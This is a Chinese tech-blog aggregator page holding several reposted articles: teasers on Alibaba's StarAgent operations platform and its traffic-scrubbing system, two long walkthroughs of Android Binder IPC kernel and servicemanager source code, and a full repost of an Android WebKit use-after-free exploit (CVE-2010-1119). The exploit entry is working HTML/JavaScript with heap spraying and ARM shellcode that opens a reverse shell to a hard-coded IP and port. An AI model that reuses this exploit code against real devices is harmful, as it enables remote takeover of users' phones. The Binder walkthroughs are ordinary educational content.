首页 文章 精选 留言 我的

精选列表

搜索[系统],共10000篇文章
优秀的个人博客,低调大师

双11黑科技,阿里百万级服务器自动化运维系统StarAgent揭秘

导读:还记得那些年我们半夜爬起来重启服务器的黑暗历史吗?双11期间,阿里巴巴百万量级主机管理能安全、稳定、高效,如丝般顺滑是如何做到的?阿里巴巴运维中台技术专家宋意,首次直播揭秘阿里IT运维的基础设施StarAgent,详细分析StarAgent是如何支持百万级规模服务器管控?如何像生活中的水电煤一样,做好阿里运维的基础设施平台? 嘉宾介绍 宋健(宋意):阿里巴巴运维中台技术专家。工作10年一直专注在运维领域,对于大规模运维体系、自动化运维有着深刻的理解与实践。2010年加入阿里巴巴,目前负责基础运维平台。加入阿里后曾负责:从零建立支付宝基础监控体系、推动整个集团监控体系整合统一、运维工具&测试PE团队。 StarAgent 从云效2.0智能化运维平台(简称:StarOps)产品的角度来看, 可以将运维划分为两个平台,基础运维平台

优秀的个人博客,低调大师

Android 系统 攻击0DAY! WebKit Use-After-Free Exploit 受影响版本:2.0 ,2.1, 2.1.1

<html> <!– # Exploit Title: android exploit for 2010-1119 use after free # Date: 2011/03/11 # Author: MJ Keith # Software Link:http://www.android.com/ # Version: 2.0 ,2.1 , 2.1.1 # Tested on: Android # CVE : 2010-1119 This is the exploit used in my Austin bsides presentation that returns a shell. The slides are athttp://www.slideshare.net/mjza/bsides email: mkeith AT exploitscience.org –> <head> <script language=”JavaScript”> function heap() { var id = document.getElementById(“target”); var attribute = id.getAttributeNode(‘id’); nodes = attribute.childNodes; document.body.removeChild(id); attribute.removeChild(nodes[0]); setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape(“\u0058\u0058″)); }; var scode = unescape(“\u0060\u0060″); var scode2 = unescape(“\u5005\ue1a0″); var shell = unescape(“\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\ \u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002″); shell += unescape(“\uae08″); // Port = 2222 shell += unescape(“\u000a\u0202″); // IP = 10.0.2.2 shell += unescape(“\u2000\u2000″); // string terminate do { scode += scode; scode2 += scode2; } while (scode.length<=0×1000); scode2 += shell target = new Array(); for(i = 0; i < 300; i++){ if (i<130){ target[i] = scode;} if (i>130){ target[i] = scode2;} document.write(target[i]); document.write(“<br />”); if (i>250){ // alert(“freeze”); nodes[0].textContent} } }, 0); } </script> </head> <body onload=heap()> <p id=target></p> </body> </html> 本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/553588,如需转载请自行联系原作者

优秀的个人博客,低调大师

解密:天猫双十一1682亿背后的“霸下-七层流量清洗”系统

上古神话中,龙生九子,其六为赑屃(bi xi),又名霸下,力大无穷,喜负重。在阿里安全也有这么一套技术框架以此命名。上古神兽——霸下 名如其意,霸下的责任是支撑阿里安全产品的底层技术框架,它面向的用户是安全产品,给安全产品提供所需要的一切技术元素,诸如接入、数据传输、配置下发、策略执行、在线近线计算、存储、检索。通过拼接组合这些安全产品必备的元素,就能非常快速地构建出一个全新业务场景的产品,而不用再从零开始设计、探路、踩坑。让安全产品,在与外部的黑客、黑灰产斗争中做到迅捷快变。 这套强大的技术框架为今年的双11保驾护航,并立下赫赫战功。今天,我们就一起探秘基于其研发的全新的“七层流量清洗”业务。 差一点被黑产“打穿” “2016年之前,我们并未针对交易链路去做专项的防控,现在去看相当于是‘裸奔’的状态!”霸下-七层流量清洗业务产品负责人砚

优秀的个人博客,低调大师

Android系统进程间通信(IPC)机制Binder中的Server启动过程源代码分析(3)

Service Manager被唤醒之后,就进入while循环开始处理事务了。这里wait_for_proc_work等于1,并且proc->todo不为空,所以从proc->todo列表中得到第一个工作项: w=list_first_entry(&proc->todo,structbinder_work,entry); 从上面的描述中,我们知道,这个工作项的类型为BINDER_WORK_TRANSACTION,于是通过下面语句得到事务项: t=container_of(w,structbinder_transaction,work); 接着就是把事务项t中的数据拷贝到本地局部变量struct binder_transaction_data tr中去了: if(t->buffer->target_node){ structbinder_node*target_node=t->buffer->target_node; tr.target.ptr=target_node->ptr; tr.cookie=target_node->cookie; ...... cmd=BR_TRANSACTION; }else{ ...... } tr.code=t->code; tr.flags=t->flags; tr.sender_euid=t->sender_euid; if(t->from){ structtask_struct*sender=t->from->proc->tsk; tr.sender_pid=task_tgid_nr_ns(sender,current->nsproxy->pid_ns); }else{ tr.sender_pid=0; } tr.data_size=t->buffer->data_size; tr.offsets_size=t->buffer->offsets_size; tr.data.ptr.buffer=(void*)t->buffer->data+proc->user_buffer_offset; tr.data.ptr.offsets=tr.data.ptr.buffer+ALIGN(t->buffer->data_size,sizeof(void*)); 这里有一个非常重要的地方,是Binder进程间通信机制的精髓所在: tr.data.ptr.buffer=(void*)t->buffer->data+proc->user_buffer_offset; tr.data.ptr.offsets=tr.data.ptr.buffer+ALIGN(t->buffer->data_size,sizeof(void*)); t->buffer->data所指向的地址是内核空间的,现在要把数据返回给Service Manager进程的用户空间,而Service Manager进程的用户空间是不能访问内核空间的数据的,所以这里要作一下处理。怎么处理呢?我们在学面向对象语言的时候,对象的拷贝有深拷贝和浅拷贝之分,深拷贝是把另外分配一块新内存,然后把原始对象的内容搬过去,浅拷贝是并没有为新对象分配一块新空间,而只是分配一个引用,而个引用指向原始对象。Binder机制用的是类似浅拷贝的方法,通过在用户空间分配一个虚拟地址,然后让这个用户空间虚拟地址与t->buffer->data这个内核空间虚拟地址指向同一个物理地址,这样就可以实现浅拷贝了。怎么样用户空间和内核空间的虚拟地址同时指向同一个物理地址呢?请参考前面一篇文章浅谈Service Manager成为Android进程间通信(IPC)机制Binder守护进程之路,那里有详细描述。这里只要将t->buffer->data加上一个偏移值proc->user_buffer_offset就可以得到t->buffer->data对应的用户空间虚拟地址了。调整了tr.data.ptr.buffer的值之后,不要忘记也要一起调整tr.data.ptr.offsets的值。 接着就是把tr的内容拷贝到用户传进来的缓冲区去了,指针ptr指向这个用户缓冲区的地址: if(put_user(cmd,(uint32_t__user*)ptr)) return-EFAULT; ptr+=sizeof(uint32_t); if(copy_to_user(ptr,&tr,sizeof(tr))) return-EFAULT; ptr+=sizeof(tr); 这里可以看出,这里只是对作tr.data.ptr.bufferr和tr.data.ptr.offsets的内容作了浅拷贝。 最后,由于已经处理了这个事务,要把它从todo列表中删除: list_del(&t->work.entry); t->buffer->allow_user_free=1; if(cmd==BR_TRANSACTION&&!(t->flags&TF_ONE_WAY)){ t->to_parent=thread->transaction_stack; t->to_thread=thread; thread->transaction_stack=t; }else{ t->buffer->transaction=NULL; kfree(t); binder_stats.obj_deleted[BINDER_STAT_TRANSACTION]++; } 注意,这里的cmd == BR_TRANSACTION && !(t->flags & TF_ONE_WAY)为true,表明这个事务虽然在驱动程序中已经处理完了,但是它仍然要等待Service Manager完成之后,给驱动程序一个确认,也就是需要等待回复,于是把当前事务t放在thread->transaction_stack队列的头部: t->to_parent=thread->transaction_stack; t->to_thread=thread; thread->transaction_stack=t; 如果cmd == BR_TRANSACTION && !(t->flags & TF_ONE_WAY)为false,那就不需要等待回复了,直接把事务t删掉。 这个while最后通过一个break跳了出来,最后返回到binder_ioctl函数中: staticlongbinder_ioctl(structfile*filp,unsignedintcmd,unsignedlongarg) { intret; structbinder_proc*proc=filp->private_data; structbinder_thread*thread; unsignedintsize=_IOC_SIZE(cmd); void__user*ubuf=(void__user*)arg; ...... switch(cmd){ caseBINDER_WRITE_READ:{ structbinder_write_readbwr; if(size!=sizeof(structbinder_write_read)){ ret=-EINVAL; gotoerr; } if(copy_from_user(&bwr,ubuf,sizeof(bwr))){ ret=-EFAULT; gotoerr; } ...... if(bwr.read_size>0){ ret=binder_thread_read(proc,thread,(void__user*)bwr.read_buffer,bwr.read_size,&bwr.read_consumed,filp->f_flags&O_NONBLOCK); if(!list_empty(&proc->todo)) wake_up_interruptible(&proc->wait); if(ret<0){ if(copy_to_user(ubuf,&bwr,sizeof(bwr))) ret=-EFAULT; gotoerr; } } ...... if(copy_to_user(ubuf,&bwr,sizeof(bwr))){ ret=-EFAULT; gotoerr; } break; } ...... default: ret=-EINVAL; gotoerr; } ret=0; err: ...... returnret; } 从binder_thread_read返回来后,再看看proc->todo是否还有事务等待处理,如果是,就把睡眠在proc->wait队列的线程唤醒来处理。最后,把本地变量struct binder_write_read bwr的内容拷贝回到用户传进来的缓冲区中,就返回了。 这里就是返回到frameworks/base/cmds/servicemanager/binder.c文件中的binder_loop函数了: voidbinder_loop(structbinder_state*bs,binder_handlerfunc) { intres; structbinder_write_readbwr; unsignedreadbuf[32]; bwr.write_size=0; bwr.write_consumed=0; bwr.write_buffer=0; readbuf[0]=BC_ENTER_LOOPER; binder_write(bs,readbuf,sizeof(unsigned)); for(;;){ bwr.read_size=sizeof(readbuf); bwr.read_consumed=0; bwr.read_buffer=(unsigned)readbuf; res=ioctl(bs->fd,BINDER_WRITE_READ,&bwr); if(res<0){ LOGE("binder_loop:ioctlfailed(%s)\n",strerror(errno)); break; } res=binder_parse(bs,0,readbuf,bwr.read_consumed,func); if(res==0){ LOGE("binder_loop:unexpectedreply?!\n"); break; } if(res<0){ LOGE("binder_loop:ioerror%d%s\n",res,strerror(errno)); break; } } } 返回来的数据都放在readbuf中,接着调用binder_parse进行解析: intbinder_parse(structbinder_state*bs,structbinder_io*bio, uint32_t*ptr,uint32_tsize,binder_handlerfunc) { intr=1; uint32_t*end=ptr+(size/4); while(ptr<end){ uint32_tcmd=*ptr++; ...... caseBR_TRANSACTION:{ structbinder_txn*txn=(void*)ptr; if((end-ptr)*sizeof(uint32_t)<sizeof(structbinder_txn)){ LOGE("parse:txntoosmall!\n"); return-1; } binder_dump_txn(txn); if(func){ unsignedrdata[256/4]; structbinder_iomsg; structbinder_ioreply; intres; bio_init(&reply,rdata,sizeof(rdata),4); bio_init_from_txn(&msg,txn); res=func(bs,txn,&msg,&reply); binder_send_reply(bs,&reply,txn->data,res); } ptr+=sizeof(*txn)/sizeof(uint32_t); break; } ...... default: LOGE("parse:OOPS%d\n",cmd); return-1; } } returnr; } 首先把从Binder驱动程序读出来的数据转换为一个struct binder_txn结构体,保存在txn本地变量中,struct binder_txn定义在frameworks/base/cmds/servicemanager/binder.h文件中: structbinder_txn { void*target; void*cookie; uint32_tcode; uint32_tflags; uint32_tsender_pid; uint32_tsender_euid; uint32_tdata_size; uint32_toffs_size; void*data; void*offs; }; 函数中还用到了另外一个数据结构struct binder_io,也是定义在frameworks/base/cmds/servicemanager/binder.h文件中: structbinder_io { char*data;/*pointertoread/writefrom*/ uint32_t*offs;/*arrayofoffsets*/ uint32_tdata_avail;/*bytesavailableindatabuffer*/ uint32_toffs_avail;/*entriesavailableinoffsetsarray*/ char*data0;/*startofdatabuffer*/ uint32_t*offs0;/*startofoffsetsbuffer*/ uint32_tflags; uint32_tunused; }; 接着往下看,函数调bio_init来初始化reply变量: voidbio_init(structbinder_io*bio,void*data, uint32_tmaxdata,uint32_tmaxoffs) { uint32_tn=maxoffs*sizeof(uint32_t); if(n>maxdata){ bio->flags=BIO_F_OVERFLOW; bio->data_avail=0; bio->offs_avail=0; return; } bio->data=bio->data0=data+n; bio->offs=bio->offs0=data; bio->data_avail=maxdata-n; bio->offs_avail=maxoffs; bio->flags=0; } 接着又调用bio_init_from_txn来初始化msg变量: voidbio_init_from_txn(structbinder_io*bio,structbinder_txn*txn) { bio->data=bio->data0=txn->data; bio->offs=bio->offs0=txn->offs; bio->data_avail=txn->data_size; bio->offs_avail=txn->offs_size/4; bio->flags=BIO_F_SHARED; } 最后,真正进行处理的函数是从参数中传进来的函数指针func,这里就是定义在frameworks/base/cmds/servicemanager/service_manager.c文件中的svcmgr_handler函数: intsvcmgr_handler(structbinder_state*bs, structbinder_txn*txn, structbinder_io*msg, structbinder_io*reply) { structsvcinfo*si; uint16_t*s; unsignedlen; void*ptr; uint32_tstrict_policy; if(txn->target!=svcmgr_handle) return-1; //EquivalenttoParcel::enforceInterface(),readingtheRPC //headerwiththestrictmodepolicymaskandtheinterfacename. //Notethatweignorethestrict_policyanddon'tpropagateit //further(sincewedonooutboundRPCsanyway). strict_policy=bio_get_uint32(msg); s=bio_get_string16(msg,&len); if((len!=(sizeof(svcmgr_id)/2))|| memcmp(svcmgr_id,s,sizeof(svcmgr_id))){ fprintf(stderr,"invalidid%s\n",str8(s)); return-1; } switch(txn->code){ ...... caseSVC_MGR_ADD_SERVICE: s=bio_get_string16(msg,&len); ptr=bio_get_ref(msg); if(do_add_service(bs,s,len,ptr,txn->sender_euid)) return-1; break; ...... } bio_put_uint32(reply,0); return0; } 回忆一下,在BpServiceManager::addService时,传给Binder驱动程序的参数为: writeInt32(IPCThreadState::self()->getStrictModePolicy()|STRICT_MODE_PENALTY_GATHER); writeString16("android.os.IServiceManager"); writeString16("media.player"); writeStrongBinder(newMediaPlayerService()); 这里的语句: strict_policy=bio_get_uint32(msg); s=bio_get_string16(msg,&len); s=bio_get_string16(msg,&len); ptr=bio_get_ref(msg); 就是依次把它们读取出来了,这里,我们只要看一下bio_get_ref的实现。先看一个数据结构struct binder_obj的定义: structbinder_object { uint32_ttype; uint32_tflags; void*pointer; void*cookie; }; 这个结构体其实就是对应struct flat_binder_obj的。 接着看bio_get_ref实现: void*bio_get_ref(structbinder_io*bio) { structbinder_object*obj; obj=_bio_get_obj(bio); if(!obj) return0; if(obj->type==BINDER_TYPE_HANDLE) returnobj->pointer; return0; } bio_get_obj这个函数就不跟进去看了,它的作用就是从binder_io中取得第一个还没取获取过的binder_object。在这个场景下,就是我们最开始传过来代表MediaPlayerService的flat_binder_obj了,这个原始的flat_binder_obj的type为BINDER_TYPE_BINDER,binder为指向MediaPlayerService的弱引用的地址。在前面我们说过,在Binder驱动驱动程序里面,会把这个flat_binder_obj的type改为BINDER_TYPE_HANDLE,handle改为一个句柄值。这里的handle值就等于obj->pointer的值。 回到svcmgr_handler函数,调用do_add_service进一步处理: intdo_add_service(structbinder_state*bs, uint16_t*s,unsignedlen, void*ptr,unsigneduid) { structsvcinfo*si; //LOGI("add_service('%s',%p)uid=%d\n",str8(s),ptr,uid); if(!ptr||(len==0)||(len>127)) return-1; if(!svc_can_register(uid,s)){ LOGE("add_service('%s',%p)uid=%d-PERMISSIONDENIED\n", str8(s),ptr,uid); return-1; } si=find_svc(s,len); if(si){ if(si->ptr){ LOGE("add_service('%s',%p)uid=%d-ALREADYREGISTERED\n", str8(s),ptr,uid); return-1; } si->ptr=ptr; }else{ si=malloc(sizeof(*si)+(len+1)*sizeof(uint16_t)); if(!si){ LOGE("add_service('%s',%p)uid=%d-OUTOFMEMORY\n", str8(s),ptr,uid); return-1; } si->ptr=ptr; si->len=len; memcpy(si->name,s,(len+1)*sizeof(uint16_t)); si->name[len]='\0'; si->death.func=svcinfo_death; si->death.ptr=si; si->next=svclist; svclist=si; } binder_acquire(bs,ptr); binder_link_to_death(bs,ptr,&si->death); return0; } 本文转自 Luoshengyang 51CTO博客,原文链接:http://blog.51cto.com/shyluo/964541,如需转载请自行联系原作者

优秀的个人博客,低调大师

Android系统进程间通信(IPC)机制Binder中的Server启动过程源代码分析(2)

这个函数虽然很长,但是主要调用了talkWithDriver函数来与Binder驱动程序进行交互: status_tIPCThreadState::talkWithDriver(booldoReceive) { LOG_ASSERT(mProcess->mDriverFD>=0,"Binderdriverisnotopened"); binder_write_readbwr; //Isthereadbufferempty? constboolneedRead=mIn.dataPosition()>=mIn.dataSize(); //Wedon'twanttowriteanythingifwearestillreading //fromdataleftintheinputbufferandthecaller //hasrequestedtoreadthenextdata. constsize_toutAvail=(!doReceive||needRead)?mOut.dataSize():0; bwr.write_size=outAvail; bwr.write_buffer=(longunsignedint)mOut.data(); //Thisiswhatwe'llread. if(doReceive&&needRead){ bwr.read_size=mIn.dataCapacity(); bwr.read_buffer=(longunsignedint)mIn.data(); }else{ bwr.read_size=0; } IF_LOG_COMMANDS(){ TextOutput::Bundle_b(alog); if(outAvail!=0){ alog<<"Sendingcommandstodriver:"<<indent; constvoid*cmds=(constvoid*)bwr.write_buffer; constvoid*end=((constuint8_t*)cmds)+bwr.write_size; alog<<HexDump(cmds,bwr.write_size)<<endl; while(cmds<end)cmds=printCommand(alog,cmds); alog<<dedent; } alog<<"Sizeofreceivebuffer:"<<bwr.read_size <<",needRead:"<<needRead<<",doReceive:"<<doReceive<<endl; } //Returnimmediatelyifthereisnothingtodo. if((bwr.write_size==0)&&(bwr.read_size==0))returnNO_ERROR; bwr.write_consumed=0; bwr.read_consumed=0; status_terr; do{ IF_LOG_COMMANDS(){ alog<<"Abouttoread/write,writesize="<<mOut.dataSize()<<endl; } #ifdefined(HAVE_ANDROID_OS) if(ioctl(mProcess->mDriverFD,BINDER_WRITE_READ,&bwr)>=0) err=NO_ERROR; else err=-errno; #else err=INVALID_OPERATION; #endif IF_LOG_COMMANDS(){ alog<<"Finishedread/write,writesize="<<mOut.dataSize()<<endl; } }while(err==-EINTR); IF_LOG_COMMANDS(){ alog<<"Ourerr:"<<(void*)err<<",writeconsumed:" <<bwr.write_consumed<<"(of"<<mOut.dataSize() <<"),readconsumed:"<<bwr.read_consumed<<endl; } if(err>=NO_ERROR){ if(bwr.write_consumed>0){ if(bwr.write_consumed<(ssize_t)mOut.dataSize()) mOut.remove(0,bwr.write_consumed); else mOut.setDataSize(0); } if(bwr.read_consumed>0){ mIn.setDataSize(bwr.read_consumed); mIn.setDataPosition(0); } IF_LOG_COMMANDS(){ TextOutput::Bundle_b(alog); alog<<"Remainingdatasize:"<<mOut.dataSize()<<endl; alog<<"Receivedcommandsfromdriver:"<<indent; constvoid*cmds=mIn.data(); constvoid*end=mIn.data()+mIn.dataSize(); alog<<HexDump(cmds,mIn.dataSize())<<endl; while(cmds<end)cmds=printReturnCommand(alog,cmds); alog<<dedent; } returnNO_ERROR; } returnerr; } 这里doReceive和needRead均为1,有兴趣的读者可以自已分析一下。因此,这里告诉Binder驱动程序,先执行write操作,再执行read操作,下面我们将会看到。 最后,通过ioctl(mProcess->mDriverFD, BINDER_WRITE_READ, &bwr)进行到Binder驱动程序的binder_ioctl函数,我们只关注cmd为BINDER_WRITE_READ的逻辑: staticlongbinder_ioctl(structfile*filp,unsignedintcmd,unsignedlongarg) { intret; structbinder_proc*proc=filp->private_data; structbinder_thread*thread; unsignedintsize=_IOC_SIZE(cmd); void__user*ubuf=(void__user*)arg; /*printk(KERN_INFO"binder_ioctl:%d:%d%x%lx\n",proc->pid,current->pid,cmd,arg);*/ ret=wait_event_interruptible(binder_user_error_wait,binder_stop_on_user_error<2); if(ret) returnret; mutex_lock(&binder_lock); thread=binder_get_thread(proc); if(thread==NULL){ ret=-ENOMEM; gotoerr; } switch(cmd){ caseBINDER_WRITE_READ:{ structbinder_write_readbwr; if(size!=sizeof(structbinder_write_read)){ ret=-EINVAL; gotoerr; } if(copy_from_user(&bwr,ubuf,sizeof(bwr))){ ret=-EFAULT; gotoerr; } if(binder_debug_mask&BINDER_DEBUG_READ_WRITE) printk(KERN_INFO"binder:%d:%dwrite%ldat%08lx,read%ldat%08lx\n", proc->pid,thread->pid,bwr.write_size,bwr.write_buffer,bwr.read_size,bwr.read_buffer); if(bwr.write_size>0){ ret=binder_thread_write(proc,thread,(void__user*)bwr.write_buffer,bwr.write_size,&bwr.write_consumed); if(ret<0){ bwr.read_consumed=0; if(copy_to_user(ubuf,&bwr,sizeof(bwr))) ret=-EFAULT; gotoerr; } } if(bwr.read_size>0){ ret=binder_thread_read(proc,thread,(void__user*)bwr.read_buffer,bwr.read_size,&bwr.read_consumed,filp->f_flags&O_NONBLOCK); if(!list_empty(&proc->todo)) wake_up_interruptible(&proc->wait); if(ret<0){ if(copy_to_user(ubuf,&bwr,sizeof(bwr))) ret=-EFAULT; gotoerr; } } if(binder_debug_mask&BINDER_DEBUG_READ_WRITE) printk(KERN_INFO"binder:%d:%dwrote%ldof%ld,readreturn%ldof%ld\n", proc->pid,thread->pid,bwr.write_consumed,bwr.write_size,bwr.read_consumed,bwr.read_size); if(copy_to_user(ubuf,&bwr,sizeof(bwr))){ ret=-EFAULT; gotoerr; } break; } ...... } ret=0; err: ...... returnret; } 函数首先是将用户传进来的参数拷贝到本地变量struct binder_write_read bwr中去。这里bwr.write_size > 0为true,因此,进入到binder_thread_write函数中,我们只关注BC_TRANSACTION部分的逻辑: binder_thread_write(structbinder_proc*proc,structbinder_thread*thread, void__user*buffer,intsize,signedlong*consumed) { uint32_tcmd; void__user*ptr=buffer+*consumed; void__user*end=buffer+size; while(ptr<end&&thread->return_error==BR_OK){ if(get_user(cmd,(uint32_t__user*)ptr)) return-EFAULT; ptr+=sizeof(uint32_t); if(_IOC_NR(cmd)<ARRAY_SIZE(binder_stats.bc)){ binder_stats.bc[_IOC_NR(cmd)]++; proc->stats.bc[_IOC_NR(cmd)]++; thread->stats.bc[_IOC_NR(cmd)]++; } switch(cmd){ ..... caseBC_TRANSACTION: caseBC_REPLY:{ structbinder_transaction_datatr; if(copy_from_user(&tr,ptr,sizeof(tr))) return-EFAULT; ptr+=sizeof(tr); binder_transaction(proc,thread,&tr,cmd==BC_REPLY); break; } ...... } *consumed=ptr-buffer; } return0; } 首先将用户传进来的transact参数拷贝在本地变量struct binder_transaction_data tr中去,接着调用binder_transaction函数进一步处理,这里我们忽略掉无关代码: staticvoid binder_transaction(structbinder_proc*proc,structbinder_thread*thread, structbinder_transaction_data*tr,intreply) { structbinder_transaction*t; structbinder_work*tcomplete; size_t*offp,*off_end; structbinder_proc*target_proc; structbinder_thread*target_thread=NULL; structbinder_node*target_node=NULL; structlist_head*target_list; wait_queue_head_t*target_wait; structbinder_transaction*in_reply_to=NULL; structbinder_transaction_log_entry*e; uint32_treturn_error; ...... if(reply){ ...... }else{ if(tr->target.handle){ ...... }else{ target_node=binder_context_mgr_node; if(target_node==NULL){ return_error=BR_DEAD_REPLY; gotoerr_no_context_mgr_node; } } ...... target_proc=target_node->proc; if(target_proc==NULL){ return_error=BR_DEAD_REPLY; gotoerr_dead_binder; } ...... } if(target_thread){ ...... }else{ target_list=&target_proc->todo; target_wait=&target_proc->wait; } ...... /*TODO:reuseincomingtransactionforreply*/ t=kzalloc(sizeof(*t),GFP_KERNEL); if(t==NULL){ return_error=BR_FAILED_REPLY; gotoerr_alloc_t_failed; } ...... tcomplete=kzalloc(sizeof(*tcomplete),GFP_KERNEL); if(tcomplete==NULL){ return_error=BR_FAILED_REPLY; gotoerr_alloc_tcomplete_failed; } ...... if(!reply&&!(tr->flags&TF_ONE_WAY)) t->from=thread; else t->from=NULL; t->sender_euid=proc->tsk->cred->euid; t->to_proc=target_proc; t->to_thread=target_thread; t->code=tr->code; t->flags=tr->flags; t->priority=task_nice(current); t->buffer=binder_alloc_buf(target_proc,tr->data_size, tr->offsets_size,!reply&&(t->flags&TF_ONE_WAY)); if(t->buffer==NULL){ return_error=BR_FAILED_REPLY; gotoerr_binder_alloc_buf_failed; } t->buffer->allow_user_free=0; t->buffer->debug_id=t->debug_id; t->buffer->transaction=t; t->buffer->target_node=target_node; if(target_node) binder_inc_node(target_node,1,0,NULL); offp=(size_t*)(t->buffer->data+ALIGN(tr->data_size,sizeof(void*))); if(copy_from_user(t->buffer->data,tr->data.ptr.buffer,tr->data_size)){ ...... return_error=BR_FAILED_REPLY; gotoerr_copy_data_failed; } if(copy_from_user(offp,tr->data.ptr.offsets,tr->offsets_size)){ ...... return_error=BR_FAILED_REPLY; gotoerr_copy_data_failed; } ...... off_end=(void*)offp+tr->offsets_size; for(;offp<off_end;offp++){ structflat_binder_object*fp; ...... fp=(structflat_binder_object*)(t->buffer->data+*offp); switch(fp->type){ caseBINDER_TYPE_BINDER: caseBINDER_TYPE_WEAK_BINDER:{ structbinder_ref*ref; structbinder_node*node=binder_get_node(proc,fp->binder); if(node==NULL){ node=binder_new_node(proc,fp->binder,fp->cookie); if(node==NULL){ return_error=BR_FAILED_REPLY; gotoerr_binder_new_node_failed; } node->min_priority=fp->flags&FLAT_BINDER_FLAG_PRIORITY_MASK; node->accept_fds=!!(fp->flags&FLAT_BINDER_FLAG_ACCEPTS_FDS); } if(fp->cookie!=node->cookie){ ...... gotoerr_binder_get_ref_for_node_failed; } ref=binder_get_ref_for_node(target_proc,node); if(ref==NULL){ return_error=BR_FAILED_REPLY; gotoerr_binder_get_ref_for_node_failed; } if(fp->type==BINDER_TYPE_BINDER) fp->type=BINDER_TYPE_HANDLE; else fp->type=BINDER_TYPE_WEAK_HANDLE; fp->handle=ref->desc; binder_inc_ref(ref,fp->type==BINDER_TYPE_HANDLE,&thread->todo); ...... }break; ...... } } if(reply){ ...... }elseif(!(t->flags&TF_ONE_WAY)){ BUG_ON(t->buffer->async_transaction!=0); t->need_reply=1; t->from_parent=thread->transaction_stack; thread->transaction_stack=t; }else{ ...... } t->work.type=BINDER_WORK_TRANSACTION; list_add_tail(&t->work.entry,target_list); tcomplete->type=BINDER_WORK_TRANSACTION_COMPLETE; list_add_tail(&tcomplete->entry,&thread->todo); if(target_wait) wake_up_interruptible(target_wait); return; ...... } 注意,这里传进来的参数reply为0,tr->target.handle也为0。因此,target_proc、target_thread、target_node、target_list和target_wait的值分别为: target_node=binder_context_mgr_node; target_proc=target_node->proc; target_list=&target_proc->todo; target_wait=&target_proc->wait; 接着,分配了一个待处理事务t和一个待完成工作项tcomplete,并执行初始化工作: /*TODO:reuseincomingtransactionforreply*/ t=kzalloc(sizeof(*t),GFP_KERNEL); if(t==NULL){ return_error=BR_FAILED_REPLY; gotoerr_alloc_t_failed; } ...... tcomplete=kzalloc(sizeof(*tcomplete),GFP_KERNEL); if(tcomplete==NULL){ return_error=BR_FAILED_REPLY; gotoerr_alloc_tcomplete_failed; } ...... if(!reply&&!(tr->flags&TF_ONE_WAY)) t->from=thread; else t->from=NULL; t->sender_euid=proc->tsk->cred->euid; t->to_proc=target_proc; t->to_thread=target_thread; t->code=tr->code; t->flags=tr->flags; t->priority=task_nice(current); t->buffer=binder_alloc_buf(target_proc,tr->data_size, tr->offsets_size,!reply&&(t->flags&TF_ONE_WAY)); if(t->buffer==NULL){ return_error=BR_FAILED_REPLY; gotoerr_binder_alloc_buf_failed; } t->buffer->allow_user_free=0; t->buffer->debug_id=t->debug_id; t->buffer->transaction=t; t->buffer->target_node=target_node; if(target_node) binder_inc_node(target_node,1,0,NULL); offp=(size_t*)(t->buffer->data+ALIGN(tr->data_size,sizeof(void*))); if(copy_from_user(t->buffer->data,tr->data.ptr.buffer,tr->data_size)){ ...... return_error=BR_FAILED_REPLY; gotoerr_copy_data_failed; } if(copy_from_user(offp,tr->data.ptr.offsets,tr->offsets_size)){ ...... return_error=BR_FAILED_REPLY; gotoerr_copy_data_failed; } 注意,这里的事务t是要交给target_proc处理的,在这个场景之下,就是Service Manager了。因此,下面的语句: t->buffer=binder_alloc_buf(target_proc,tr->data_size, tr->offsets_size,!reply&&(t->flags&TF_ONE_WAY)); 就是在Service Manager的进程空间中分配一块内存来保存用户传进入的参数了: if(copy_from_user(t->buffer->data,tr->data.ptr.buffer,tr->data_size)){ ...... return_error=BR_FAILED_REPLY; gotoerr_copy_data_failed; } if(copy_from_user(offp,tr->data.ptr.offsets,tr->offsets_size)){ ...... return_error=BR_FAILED_REPLY; gotoerr_copy_data_failed; } 由于现在target_node要被使用了,增加它的引用计数: if(target_node) binder_inc_node(target_node,1,0,NULL); 接下去的for循环,就是用来处理传输数据中的Binder对象了。在我们的场景中,有一个类型为BINDER_TYPE_BINDER的Binder实体MediaPlayerService: switch(fp->type){ caseBINDER_TYPE_BINDER: caseBINDER_TYPE_WEAK_BINDER:{ structbinder_ref*ref; structbinder_node*node=binder_get_node(proc,fp->binder); if(node==NULL){ node=binder_new_node(proc,fp->binder,fp->cookie); if(node==NULL){ return_error=BR_FAILED_REPLY; gotoerr_binder_new_node_failed; } node->min_priority=fp->flags&FLAT_BINDER_FLAG_PRIORITY_MASK; node->accept_fds=!!(fp->flags&FLAT_BINDER_FLAG_ACCEPTS_FDS); } if(fp->cookie!=node->cookie){ ...... gotoerr_binder_get_ref_for_node_failed; } ref=binder_get_ref_for_node(target_proc,node); if(ref==NULL){ return_error=BR_FAILED_REPLY; gotoerr_binder_get_ref_for_node_failed; } if(fp->type==BINDER_TYPE_BINDER) fp->type=BINDER_TYPE_HANDLE; else fp->type=BINDER_TYPE_WEAK_HANDLE; fp->handle=ref->desc; binder_inc_ref(ref,fp->type==BINDER_TYPE_HANDLE,&thread->todo); ...... }break; 由于是第一次在Binder驱动程序中传输这个MediaPlayerService,调用binder_get_node函数查询这个Binder实体时,会返回空,于是binder_new_node在proc中新建一个,下次就可以直接使用了。 现在,由于要把这个Binder实体MediaPlayerService交给target_proc,也就是Service Manager来管理,也就是说Service Manager要引用这个MediaPlayerService了,于是通过binder_get_ref_for_node为MediaPlayerService创建一个引用,并且通过binder_inc_ref来增加这个引用计数,防止这个引用还在使用过程当中就被销毁。注意,到了这里的时候,t->buffer中的flat_binder_obj的type已经改为BINDER_TYPE_HANDLE,handle已经改为ref->desc,跟原来不一样了,因为这个flat_binder_obj是最终是要传给Service Manager的,而Service Manager只能够通过句柄值来引用这个Binder实体。 